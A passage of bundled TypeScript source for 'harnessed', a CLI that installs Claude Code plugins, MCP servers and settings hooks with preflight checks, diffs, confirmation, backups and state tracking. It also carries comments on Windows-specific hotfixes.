`${out.join('\\n')}\\n`\n}\n","// Phase 5.1 W0 T0.3 — extract err() helper (#BG MED carry-forward 4-phase discharge).\n// Identical 3-line function existed in 7 installer files:\n// ccHookAdd.ts L18 + ccPluginMarketplace.ts L40 + gitCloneWithSetup.ts L43\n// mcpHttpAdd.ts L38 + mcpStdioAdd.ts L31 + npmCli.ts L35 + npxSkillInstaller.ts L49\n// Extracted here to eliminate 7-way duplication.\n\nimport type { InstallContext, InstallError } from './types.js'\n\nexport function err(\n ctx: InstallContext,\n path: string,\n message: string,\n keyword: string,\n): InstallError {\n return { file: ctx.manifest.metadata.name, path, message, line: null, column: null, keyword }\n}\n","// Phase 1.2 first-gate preflight per ADR 0004 contract 1 + Pattern D + C.\n//\n// Why preflight is its own file (not folded into spawn.ts):\n// We want the user to see \"platform mismatch\" / \"missing idempotent_check\"\n// *before* a spawn error fires with a stack trace. spawn.ts is a hot path\n// that should assume invariants already hold; preflight is the cold path\n// that validates those invariants once per install run, in the same spirit\n// as src/manifest/security.ts being separate from validate.ts.\n//\n// Surgical path-walking (Pattern D): we do NOT recursively traverse the\n// manifest AST — every check below targets a hard-coded path. If a future\n// schema field needs preflight enforcement, add a clause here, not a generic\n// walker (karpathy YAGNI; matches manifest/security.ts cmdPaths style).\n//\n// Out of scope (deferred to later phases):\n// - `git ls-remote <repo> <git_ref>` real-network probe → phase 2.1\n// (slow + offline-CI-hostile; preflight is a synchronous fast gate)\n// - npm registry reachability probe → phase 2.4 doctor\n// - Network MTU / proxy configuration → out of phase 1.2 scope\n\nimport type { InstallContext, InstallError } from './types.js'\n\nconst SUPPORTED_PLATFORMS = ['linux', 'darwin', 'win32'] as const\ntype SupportedPlatform = (typeof SUPPORTED_PLATFORMS)[number]\n\n// Subset of cc-plugin-marketplace + git-clone-with-setup git_ref shape; matches\n// the schema regex in src/manifest/schema/installMethods/ccPluginMarketplace.ts.\n// Sanity grep only — schema already enforced this if validate.ts ran.\nconst GIT_REF_SHAPE = /^([a-f0-9]{7,40}|v?\\d+\\.\\d+\\.\\d+([.-][\\w.-]+)?)$/\n\nexport interface PreflightOutcome {\n ok: boolean\n errors: InstallError[]\n // Set when ok=false AND a hard-stop reason applies (caller should yield an\n // `aborted` InstallResult instead of a plain `ok:false`).\n abortReason?: 'platform-mismatch'\n}\n\nexport function preflight(ctx: InstallContext): PreflightOutcome {\n const errors: InstallError[] = []\n const filename = ctx.manifest.metadata.name\n const spec = ctx.manifest.spec\n const install = spec.install\n\n // 1. Platform whitelist. SUPPORTED_PLATFORMS is the harnessed v0.1\n // surface; any platforms[] entry outside it is a manifest error caught by\n // schema, but we double-check for robustness.\n const current = process.platform as SupportedPlatform\n if (!spec.platforms.includes(current)) {\n errors.push({\n file: filename,\n path: '/spec/platforms',\n message: `current platform '${current}' not in supported list [${spec.platforms.join(', ')}]; manifest declares it does not run here.`,\n line: null,\n column: null,\n keyword: 'platform-mismatch',\n suggest: `add '${current}' to spec.platforms in upstream manifest if the installer is known to work there`,\n })\n return { ok: false, errors, abortReason: 'platform-mismatch' }\n }\n\n // 2. git_ref shape sanity (only methods that have it).\n if ('git_ref' in install && typeof install.git_ref === 'string') {\n if (!GIT_REF_SHAPE.test(install.git_ref)) {\n errors.push({\n file: filename,\n path: '/spec/install/git_ref',\n message: `git_ref '${install.git_ref}' does not match SHA(7-40 hex) or SemVer shape; schema should have caught this — preflight backstop.`,\n line: null,\n column: null,\n keyword: 'git-ref-shape',\n suggest:\n 'pin to a SHA (40 hex) or SemVer tag (e.g. v1.2.3); branch names like main/HEAD are forbidden',\n })\n }\n }\n\n // 3. idempotent_check non-empty string (all 6 install methods declare it\n // required in schema, but this guards against a programmatically-built\n // manifest that bypassed validate.ts).\n if (\n typeof install.idempotent_check !== 'string' ||\n install.idempotent_check.trim().length === 0\n ) {\n errors.push({\n file: filename,\n path: '/spec/install/idempotent_check',\n message:\n 'idempotent_check missing or empty; ADR 0004 contract 1 requires a check command for re-install detection',\n line: null,\n column: null,\n keyword: 'idempotent-check-missing',\n suggest:\n 'add a shell cmd that exits 0 iff the package is already installed (e.g. `npm ls -g <pkg>`)',\n })\n }\n\n return { ok: errors.length === 0, errors }\n}\n","// Phase 1.2 .harnessed/state.json SSOT per ADR 0004 contract 6 + D1.2-7.\n//\n// Tracks \"what is currently installed\" across reboots / shells:\n// - schema version (so future migrations are explicit)\n// - per-install record: version + ISO timestamp + manifest sha1\n//\n// karpathy YAGNI (D1.2-7): we do NOT pre-reserve audit.log / current-workflow\n// / checkpoints fields here — those are added when their owner phases ship\n// (audit log = phase 1.4 routing-engine, checkpoints = phase 3.1 ralph-loop\n// integration). The state.json schema therefore lives behind a version field\n// so future phases can bump it without touching this file.\n//\n// Plain TS interface (NOT TypeBox) — state.json is read/written by harnessed\n// itself, never by user manifests; we don't need Ajv runtime validation.\n//\n// IMPL NOTE (Rule 1 / concurrent-write hazard): writeState() uses the atomic\n// write-then-rename idiom (write to `.tmp` sibling + `fs.rename`). Two\n// `harnessed install` processes running concurrently in the same project\n// will see one another's tmp file but only one rename wins, so the final\n// state.json is always either the pre- or the post-state — never a half-\n// written truncation. This matches how npm/yarn/git index updates work.\n//\n// Pattern C: readState returns a default object on ENOENT (first install in\n// a fresh project) — we never throw on missing state.json; absence is the\n// expected initial condition.\n\nimport { mkdir, readFile, rename, writeFile } from 'node:fs/promises'\nimport { dirname } from 'node:path'\nimport { harnessedFile } from './harnessedRoot.js'\n\nexport interface HarnessedStateEntry {\n version: string\n installedAt: string // ISO-8601 timestamp\n manifestSha1: string // sha1 of the manifest yaml that produced this install\n}\n\nexport interface HarnessedState {\n version: '1' // schema version of THIS file format; bump on incompatible change\n installed: Record<string, HarnessedStateEntry>\n}\n\nconst DEFAULT_STATE: HarnessedState = { version: '1', installed: {} }\n\n// v3.0.3 hotfix — state.json path now homedir-rooted (sister `getBackupRoot()`\n// v2.0.1 + `getHarnessedRoot()` v3.0.3). Pre-v3.0.3 used `<cwd>/.harnessed/`\n// which EPERMs when the user launches harnessed from a read-only directory\n// (Warp default `C:\\Program Files\\Warp\\`). The `cwd` parameter is now ignored\n// for path composition (signature kept for backward-compat with callers like\n// `cli/status.ts` and `npmCli.ts` that still pass `ctx.cwd` or `process.cwd()`).\nfunction statePath(_cwd: string): string {\n return harnessedFile('state.json')\n}\n\nexport async function readState(cwd: string): Promise<HarnessedState> {\n const path = statePath(cwd)\n let raw: string\n try {\n raw = await readFile(path, 'utf8')\n } catch (err) {\n // ENOENT — first install in a fresh project; return default schema.\n if ((err as NodeJS.ErrnoException).code === 'ENOENT') {\n return { ...DEFAULT_STATE, installed: {} }\n }\n throw err\n }\n // Malformed JSON / wrong schema version is recoverable: log and return\n // default; we choose data loss over crash because state.json is not\n // primary truth (manifests + .harnessed-backup are). Caller may add a\n // doctor warning if installed map is empty but backups exist.\n try {\n const parsed = JSON.parse(raw) as HarnessedState\n if (parsed.version !== '1' || typeof parsed.installed !== 'object') {\n return { ...DEFAULT_STATE, installed: {} }\n }\n return parsed\n } catch {\n return { ...DEFAULT_STATE, installed: {} }\n }\n}\n\nexport async function writeState(cwd: string, state: HarnessedState): Promise<void> {\n const path = statePath(cwd)\n const tmp = `${path}.tmp`\n await mkdir(dirname(path), { recursive: true })\n // Trailing newline keeps state.json POSIX-friendly + diff-friendly.\n await writeFile(tmp, `${JSON.stringify(state, null, 2)}\\n`, 'utf8')\n await rename(tmp, path)\n}\n\n/**\n * Read-modify-write helper for the common case: record a successful install.\n * Adds or replaces `installed[name]` and persists atomically.\n */\nexport async function updateInstalled(\n cwd: string,\n name: string,\n version: string,\n manifestSha1: string,\n): Promise<void> {\n const state = await readState(cwd)\n state.installed[name] = {\n version,\n installedAt: new Date().toISOString(),\n manifestSha1,\n }\n await writeState(cwd, state)\n}\n","// Phase 2.4 W3 T3.1 — install method 7/7: cc-hook-add (D-04 § 3.1 + R2.4.4 +\n// B-20/B-21/B-22). Sister: npxSkillInstaller (L2 HOME write, real-path verify).\n// L3 tier (~/.claude/settings.json is shared user-scope state — sister mcp-stdio).\n// Deep-merges settings.hooks[event][] (NEVER overwrite). Idempotent on duplicate\n// (matching command+matcher → skip with appliedFiles:[]). R7 verify: re-read +\n// .some() grep (writeFile exit ≠ filesystem truth — sister npx-skill-installer C6).\n\nimport { readFile, writeFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer } from './lib/types.js'\n\ninterface Settings {\n hooks?: Record<string, { matcher?: string; command: string }[]>\n [k: string]: unknown\n}\n\nexport const installCcHookAdd: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'cc-hook-add') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `dispatch bug: ${install.method}`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n const settingsPath = join(homedir(), '.claude', 'settings.json')\n // Sentinel `null` ⇒ file does not exist (oldText='' so backup() emits pure-create).\n let existing: string | null\n try {\n existing = await readFile(settingsPath, 'utf8')\n } catch {\n existing = null\n }\n let settings: Settings\n try {\n settings = JSON.parse(existing ?? '{}') as Settings\n } catch (e) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/',\n `malformed settings.json: ${(e as Error).message.slice(0, 200)}`,\n 'settings-json-malformed',\n ),\n }\n }\n settings.hooks = settings.hooks ?? {}\n const ev = install.hook_event\n const matcher = install.hook_matcher\n const cmd = install.hook_command\n settings.hooks[ev] = settings.hooks[ev] ?? []\n if (settings.hooks[ev].some((h) => h.command === cmd && h.matcher === matcher)) {\n return { ok: true, backupId: 'idempotent-skip', appliedFiles: [] }\n }\n settings.hooks[ev].push({ matcher, command: cmd })\n const newText = `${JSON.stringify(settings, null, 2)}\\n`\n const plan: DiffPlan = {\n files: [{ target: settingsPath, scope: 'HOME', oldText: existing ?? '', newText }],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L3', { ...ctx, level: 'L3' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n await writeFile(settingsPath, newText)\n\n // R7 — re-read + grep cmd presence; ENOENT/malformed post-write ⇒ verify-failed.\n let verify: Settings\n try {\n verify = JSON.parse(await readFile(settingsPath, 'utf8')) as Settings\n } catch (e) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/hook_command',\n `verify re-read fail: ${(e as Error).message.slice(0, 200)}`,\n 'verify-failed',\n ),\n }\n }\n if (!verify.hooks?.[ev]?.some((h) => h.command === cmd)) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/hook_command',\n `hook '${cmd.slice(0, 80)}' missing in hooks.${ev}[] after write`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, ctx.manifest.metadata.name, '', '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [settingsPath] }\n}\n","// v3.0.3 hotfix — fs-based MCP verify (replaces v3.0.2 spawn `claude mcp list`).\n//\n// Problem: v3.0.2 changed `mcpStdioAdd.ts` / `mcpHttpAdd.ts` / `ccPluginMarketplace.ts`\n// verify step from a `claude mcp list | grep -q <name>` shell pipe to a native\n// `spawn('claude', ['mcp', 'list'])` + `stdout.includes(name)` match (sister\n// CHANGELOG v3.0.2 entry). User reports the spawn-based path still fails 3-way\n// on Windows because `claude mcp list` cold-start exceeds the 15s timeout when\n// invoked sequentially after 3 `claude mcp add` calls (warm process pool\n// nearly exhausted; sister Bug 3 v3.0.2 timeout-budgeting issue, but for the\n// VERIFY surface).\n//\n// Crucially: the underlying `claude mcp add --scope user` invocation likely\n// SUCCEEDED — `~/.claude.json` is written before the verify spawn — but the\n// verify spawn timed out and reported `exit -1 or '<name>' not in mcp list\n// stdout: [timeout]` (literal user message). All 3 MCP installers fall in.\n//\n// Solution: skip the spawn entirely. Read `~/.claude.json` directly with\n// `fs.readFile` + `JSON.parse` + check `mcpServers[name]`. The file is the\n// authoritative source of truth (Claude Code reads it on startup); CC's\n// `mcp list` is just a JSON pretty-printer over the same file.\n//\n// Cross-platform: pure Node fs, no shell, no spawn, no timeout risk.\n// Idempotent: file-not-exists → no servers registered → return false (no throw).\n// Robust: malformed JSON → return false (graceful), don't crash the installer.\n\nimport { readFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\n\n/**\n * Path to the user-global Claude Code config file written by `claude mcp add\n * --scope user` and `claude plugin install --scope user`. CC reads this on\n * startup to load the `mcpServers` map + `enabledPlugins` map.\n */\nexport function getUserClaudeJsonPath(): string {\n return join(homedir(), '.claude.json')\n}\n\ninterface UserClaudeJsonShape {\n mcpServers?: Record<string, unknown>\n enabledPlugins?: Record<string, unknown>\n [k: string]: unknown\n}\n\n/**\n * Read `~/.claude.json` and return the parsed object.\n *\n * Returns `{}` only for the two graceful conditions specified in the v3.0.3\n * verify contract:\n * 1. ENOENT — file does not exist yet (first install). Verify should report\n * \"server not registered\" cleanly, not throw.\n * 2. Malformed JSON — the file exists but is corrupt. Verify should report\n * false rather than crash; the caller's error path produces a clearer\n * \"server missing\" message than a bare SyntaxError stack would.\n *\n * Any other read error (EACCES, EISDIR, etc.) is unexpected and re-thrown\n * so the installer surface them as verify-failed with the original cause\n * (no silent swallowing — anti-slop posture per CLAUDE.md karpathy heuristic).\n */\nexport async function readUserClaudeJson(): Promise<UserClaudeJsonShape> {\n const path = getUserClaudeJsonPath()\n let raw: string\n try {\n raw = await readFile(path, 'utf8')\n } catch (err) {\n if ((err as NodeJS.ErrnoException).code === 'ENOENT') return {}\n throw err\n }\n try {\n const parsed = JSON.parse(raw) as UserClaudeJsonShape\n if (parsed === null || typeof parsed !== 'object') return {}\n return parsed\n } catch {\n // Malformed JSON — explicit graceful return per verify contract.\n return {}\n }\n}\n\n/**\n * Check whether an MCP server is registered in `~/.claude.json`.\n *\n * Used by `mcpStdioAdd.ts` + `mcpHttpAdd.ts` v3.0.3 verify step in place of\n * `spawn('claude', ['mcp', 'list'])` + stdout match.\n *\n * Returns `true` if `mcpServers[name]` exists (any truthy value); `false` if\n * the file is missing, malformed, or the server is not present.\n */\nexport async function isMcpServerRegistered(name: string): Promise<boolean> {\n const config = await readUserClaudeJson()\n const servers = config.mcpServers\n if (!servers || typeof servers !== 'object') return false\n return Object.hasOwn(servers, name)\n}\n\n/**\n * Check whether a Claude Code plugin is registered in `~/.claude.json`.\n *\n * Used by `ccPluginMarketplace.ts` v3.0.3 verify step in place of\n * `spawn('claude', ['plugin', 'list', '--json'])` + stdout match.\n *\n * Plugins live under `enabledPlugins` with keys of the form `<plugin>@<marketplace>`;\n * we check by the plain plugin name (left side of the `@`) since the marketplace\n * suffix is install-time metadata and the caller passes only the bare plugin name.\n */\nexport async function isPluginRegistered(pluginName: string): Promise<boolean> {\n const config = await readUserClaudeJson()\n const plugins = config.enabledPlugins\n if (!plugins || typeof plugins !== 'object') return false\n // Try exact key first (defensive — some manifests pass full <name>@<mkt>).\n if (Object.hasOwn(plugins, pluginName)) return true\n // Otherwise scan for any key whose `<name>@<mkt>` prefix matches.\n return Object.keys(plugins).some((k) => k.split('@')[0] === pluginName)\n}\n","// Phase 5.1 W0 T0.3 — extract runArgs helper (#BF MED carry-forward 4-phase discharge).\n// Identical implementation existed in mcpStdioAdd.ts L40 + mcpHttpAdd.ts L47 +\n// ccPluginMarketplace.ts L49; extracted here to eliminate 3-way duplication.\n//\n// IMPL NOTE: Win routes through cmd.exe /c because `claude` ships as a .cmd shim.\n// Unix spawns the binary directly (no shell) — args remain unparsed. This matches\n// the established cross-OS pattern across all 3 call sites verbatim.\n\nimport { spawn } from 'node:child_process'\n\nexport interface ProcResult {\n exitCode: number\n stderr: string\n}\n\nexport function runArgs(\n claudeArgs: string[],\n cwd: string,\n timeoutMs = 15_000,\n): Promise<ProcResult> {\n return new Promise((resolve) => {\n // Win: route through cmd.exe /c because `claude` ships as a .cmd shim.\n // Unix: spawn the binary directly (no shell) — args remain unparsed.\n const isWin = process.platform === 'win32'\n const child = isWin\n ? spawn('cmd.exe', ['/c', 'claude', ...claudeArgs], { cwd, windowsHide: true })\n : spawn('claude', claudeArgs, { cwd, shell: false })\n let stderr = ''\n child.stderr?.setEncoding('utf8').on('data', (c: string) => {\n stderr += c\n })\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({ exitCode: -1, stderr: `${stderr}[timeout after ${timeoutMs}ms]` })\n }, timeoutMs)\n child.on('error', (e) => {\n clearTimeout(timer)\n resolve({ exitCode: -1, stderr: `${stderr}${e.message}` })\n })\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ exitCode: code ?? -1, stderr })\n })\n })\n}\n","// v3.0.2 hotfix — homedir-rooted spawn cwd for MCP / plugin installers.\n//\n// Problem: `claude mcp add --scope project <...>` writes `.mcp.json` to the\n// spawn cwd. When user launches `harnessed setup` from a read-only directory\n// (e.g. PowerShell default CWD `C:\\Windows\\System32`), the write fails with:\n// `EPERM: operation not permitted, rename 'C:\\Windows\\System32\\.mcp.json.tmp...'`\n// blocking all MCP installers (chrome-devtools-mcp / exa-mcp / tavily-mcp).\n//\n// Solution: sister v2.0.1 `getBackupRoot()` (src/installers/lib/backup.ts:32)\n// pattern verbatim — root MCP/plugin spawn cwd at homedir() unconditionally,\n// not at process.cwd(). homedir() is reliably writable on Win/Mac/Linux.\n// User can still see `.mcp.json` in their home and `claude mcp list` works\n// because the registration is keyed by the absolute path Claude Code reads.\n//\n// Why unconditional (no probe + fallback)? Sister v2.0.1 backup-root migration\n// is unconditional — `getBackupRoot()` always returns `~/.harnessed/backups/`,\n// regardless of whether ctx.cwd is writable. Symmetric semantics: harness-\n// owned writes go under the user's home, not transient terminal CWDs.\n\nimport { homedir } from 'node:os'\n\n/**\n * Return the homedir-rooted spawn cwd used by `claude mcp add` /\n * `claude plugin install` so that `.mcp.json` / `.claude/settings.json`\n * writes land in a path the user reliably owns. Unconditional — does NOT\n * fall back to ctx.cwd.\n *\n * Sister: `src/installers/lib/backup.ts:32` `getBackupRoot()` v2.0.1.\n */\nexport function getMcpSpawnCwd(): string {\n return homedir()\n}\n","// Phase 2.1 install method 5/6 — cc-plugin × cc-plugin-marketplace per ADR\n// 0004 § 5 + ADR 0005 + ADR 0010 errata D-20.\n//\n// v3.0.2 hotfix (scope flip): `--scope project` → `--scope user`. Sister\n// mcpStdioAdd v3.0.2 reasoning — write to ~/.claude.json user-global config\n// (CWD-independent) instead of <cwd>/.claude/settings.json (EPERMs in\n// read-only CWD). CC #54803 user-scope-broken bug has been resolved.\n//\n// IMPL NOTE (Rule 1): hardcoded `--scope user` for `plugin install` step\n// cannot be overridden by manifest fields; the manifest cmd string is\n// informational; we authoritatively reconstruct args[].\n//\n// IMPL NOTE (Rule 1 / D-20 idempotency): Two sequential spawns:\n// Step 1: `claude plugin marketplace add <url>`\n// Step 2: `claude plugin install <plugin>@<marketplace> --scope project`\n// Step-1 non-zero exit is non-fatal IF step-2 succeeds — marketplace already\n// being registered is a benign state (\"already exists\" is the most common\n// step-1 failure on re-install). We do NOT pre-probe `marketplace list`\n// (extra spawn, extra failure surface); we let step-2 decide.\n//\n// IMPL NOTE (Rule 1 / parse install.cmd): the install method schema does not\n// carry typed `marketplace_url`/`marketplace_name`/`plugin_name` fields (it\n// has only cmd + git_ref + idempotent_check + optional marketplace_source).\n// We parse the manifest cmd which is the user-facing audit-trail string,\n// matching the architectural discipline already established by mcpStdioAdd\n// (cmd is informational; args reconstructed authoritatively).\n//\n// IMPL NOTE (Rule 1 / H2 sister review fix): re-screen each constructed arg\n// before spawn — same defense-in-depth posture as mcpStdioAdd/mcpHttpAdd.\n//\n// IMPL NOTE (v3.0.3 hotfix — verify reads ~/.claude.json directly): pre-v3.0.3\n// verify spawned `claude plugin list --json` and stdout-matched the plugin\n// name. Same timeout symptom as mcpStdioAdd v3.0.3 (cold-start exceeds 15s\n// after sequential MCP adds). v3.0.3 reads `enabledPlugins` from\n// `~/.claude.json` directly. Sister `readClaudeConfig.isPluginRegistered()`.\n\nimport { checkCmdString } from '../manifest/security.js'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { isPluginRegistered } from './lib/readClaudeConfig.js'\nimport { runArgs } from './lib/runClaudeArgs.js'\nimport { getMcpSpawnCwd } from './lib/safeCwd.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer } from './lib/types.js'\n\n// Parse `<plugin>@<marketplace>` and the marketplace URL/owner-repo from the\n// manifest cmd. cmd shape (per real manifests + CC docs):\n// `/plugin marketplace add <owner/repo-or-url> && /plugin install <plugin>@<marketplace>`\n// OR\n// `/plugin install <plugin>@<marketplace>` (marketplace pre-registered)\n// We extract:\n// - marketplaceRef: the token after `marketplace add` (can be owner/repo or URL)\n// - pluginAtMkt: the `<plugin>@<marketplace>` token after `plugin install`\ninterface ParsedCmd {\n marketplaceRef: string | null\n pluginAtMkt: string\n}\nfunction parseCmd(cmd: string): ParsedCmd | null {\n // marketplaceRef\n const mktMatch = cmd.match(/(?:\\/?plugin)\\s+marketplace\\s+add\\s+(\\S+)/i)\n // pluginAtMkt — strip leading slash, strip trailing semicolons/&&\n const pluginMatch = cmd.match(/(?:\\/?plugin)\\s+install\\s+(\\S+)/i)\n if (!pluginMatch || pluginMatch[1] === undefined) return null\n const pluginAtMkt = pluginMatch[1].replace(/[;&]+$/, '')\n if (!pluginAtMkt.includes('@')) return null\n const mktRef = mktMatch && mktMatch[1] !== undefined ? mktMatch[1] : null\n return {\n marketplaceRef: mktRef,\n pluginAtMkt,\n }\n}\n\nexport const installCcPluginMarketplace: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'cc-plugin-marketplace') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installCcPluginMarketplace received non-cc-plugin-marketplace method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n const parsed = parseCmd(install.cmd)\n if (!parsed) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `cc-plugin-marketplace cmd must contain \\`plugin install <plugin>@<marketplace>\\` (parsed from: '${install.cmd.slice(0, 100)}')`,\n 'cc-plugin-shape',\n ),\n suggest:\n 'see manifests/tools/ralph-loop.yaml or manifests/tools/superpowers.yaml for shape',\n },\n }\n }\n const pluginName = parsed.pluginAtMkt.split('@')[0] ?? parsed.pluginAtMkt\n\n // v3.0.2 hotfix: `--scope user` (writes ~/.claude.json) — CWD-independent,\n // EPERM-free in read-only launch dirs. Sister mcpStdioAdd v3.0.2 scope flip.\n const installArgs = ['plugin', 'install', parsed.pluginAtMkt, '--scope', 'user']\n const allArgs: string[][] = []\n if (parsed.marketplaceRef !== null) {\n allArgs.push(['plugin', 'marketplace', 'add', parsed.marketplaceRef])\n }\n allArgs.push(installArgs)\n\n // H2 defense-in-depth — re-screen every arg of every step.\n for (const argSet of allArgs) {\n for (const a of argSet) {\n const violation = checkCmdString(a)\n if (violation) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/cmd',\n `shell escape detected in constructed cc-plugin arg '${a.slice(0, 60)}': ${violation.label} (${violation.hint})`,\n 'security-gate-bypass',\n ),\n }\n }\n }\n }\n\n // v3.0.2: `--scope user` writes ~/.claude.json (user-global enabledPlugins\n // map) instead of <cwd>/.claude/settings.json (project-local). Diff target\n // updated to mirror. No `--dry-run` flag on `claude plugin install` — cmd\n // echo remains the audit trail.\n const settingsFile = `${getMcpSpawnCwd()}/.claude.json`\n const newEntry = JSON.stringify({ enabledPlugins: { [parsed.pluginAtMkt]: true } }, null, 2)\n const plan: DiffPlan = {\n files: [\n {\n target: settingsFile,\n scope: 'HOME',\n oldText: '',\n newText: `// will be merged into ~/.claude.json enabledPlugins map by \\`claude plugin install --scope user\\`:\\n${newEntry}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L3', { ...ctx, level: 'L3' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n // v3.0.2: spawn cwd at homedir() — `--scope user` writes ~/.claude.json\n // regardless of spawn cwd, but the CC CLI may create temp files in cwd;\n // homedir() avoids EPERM when user launches from a read-only CWD.\n const spawnCwd = install.cwd ?? getMcpSpawnCwd()\n\n // Step 1 — marketplace add (D-20: non-zero is non-fatal; step 2 is the decider).\n let stepOneStderr = ''\n if (parsed.marketplaceRef !== null) {\n const r1 = await runArgs(['plugin', 'marketplace', 'add', parsed.marketplaceRef], spawnCwd)\n stepOneStderr = r1.stderr\n // intentional: do not return on r1.exitCode !== 0\n }\n\n // Step 2 — plugin install. This is the authoritative outcome decider.\n const r2 = await runArgs(installArgs, spawnCwd)\n if (r2.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `claude plugin install exited ${r2.exitCode}: ${r2.stderr.slice(0, 200)}${stepOneStderr ? ` | marketplace-add stderr: ${stepOneStderr.slice(0, 100)}` : ''}`,\n 'install-failed',\n ),\n }\n }\n\n // v3.0.3 hotfix: verify reads ~/.claude.json directly via fs (no spawn).\n // Sister mcpStdioAdd v3.0.3 verify rationale.\n const registered = await isPluginRegistered(pluginName)\n if (!registered) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify: plugin '${pluginName}' not found in enabledPlugins map of ~/.claude.json after install spawn exit 0 (file may have been overwritten, or claude plugin install wrote to a non-default location)`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, ctx.manifest.metadata.name, install.git_ref, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [settingsFile] }\n}\n","// Phase 1.2 cross-OS spawn wrapper per ADR 0004 contract 6 + Pattern D + H.\n//\n// IMPL NOTE (Rule 1 / R03 § 3.7): Windows uses `cmd.exe /c <cmd> <args...>`\n// because npm/npx/claude shipped as .cmd shims under Win, and POSIX-style\n// `/bin/sh -c` is unavailable on raw Win (only inside Git-Bash/WSL). Unix\n// uses `/bin/sh -c \"<cmd> <joined-args>\"` so single-string cmds with pipes /\n// redirections still work consistently with what users typed in the manifest.\n//\n// IMPL NOTE (Rule 1 / B1 hotfix defense-in-depth, PATTERNS Pattern D pre-pass):\n// re-run `checkCmdString()` on the cmd right before spawn(). The phase 1.1.1\n// security gate in `validate.ts` already screens manifests, but a future\n// caller (phase 1.4 routing-engine / test harnesses / direct installer use\n// without validate.ts) might hand us an unvalidated cmd. Refuse to spawn\n// shell-escape patterns even at this layer — InstallResult `phase: 'preflight'`\n// + keyword `'security'` returned, never thrown.\n//\n// Pattern C: returns Result-shaped object {ok:true|false} — no throws on\n// expected paths (timeout, non-zero exit, security gate). Unexpected errors\n// (e.g. cmd binary not found / EACCES) bubble out as throws — the caller\n// (installer dispatch) catches and wraps.\n//\n// v3.0.2 hotfix (Windows cold-install timeout): npm-cli installers running\n// `npx --yes <pkg>@<ver> install` need >15s on Windows cold cache (user\n// reported gsd install timing out at 10s/15s). spawnCmd now accepts an\n// explicit `timeoutMs` arg from the caller — installers pass 60_000ms for\n// the install step; verify continues to honor spec.verify.timeout_ms (default\n// 15s) so manifest authors retain control. The pre-v3.0.2 bug: install spawn\n// was reading verify.timeout_ms (cross-purpose; verify-only field) which\n// shortened install timeout to whatever manifest authors set for verify.\n\nimport { type ChildProcess, spawn } from 'node:child_process'\nimport { checkCmdString } from '../../manifest/security.js'\nimport type { InstallContext, InstallResult } from './types.js'\n\nexport const DEFAULT_VERIFY_TIMEOUT_MS = 15_000\n/** v3.0.2: explicit install-step timeout — Windows cold npm/npx cache can\n * exceed 30-45s on first install. 60s default keeps fast-path zippy while\n * not failing legitimate cold installs. */\nexport const DEFAULT_INSTALL_TIMEOUT_MS = 60_000\n\nexport interface SpawnOk {\n ok: true\n exitCode: number\n stdout: string\n stderr: string\n}\n\n/**\n * Spawn `cmd args...` under the platform's default shell with B1 defense-\n * in-depth, env injection, cwd from manifest, and timeout.\n *\n * v3.0.2: `timeoutMs` is now an explicit 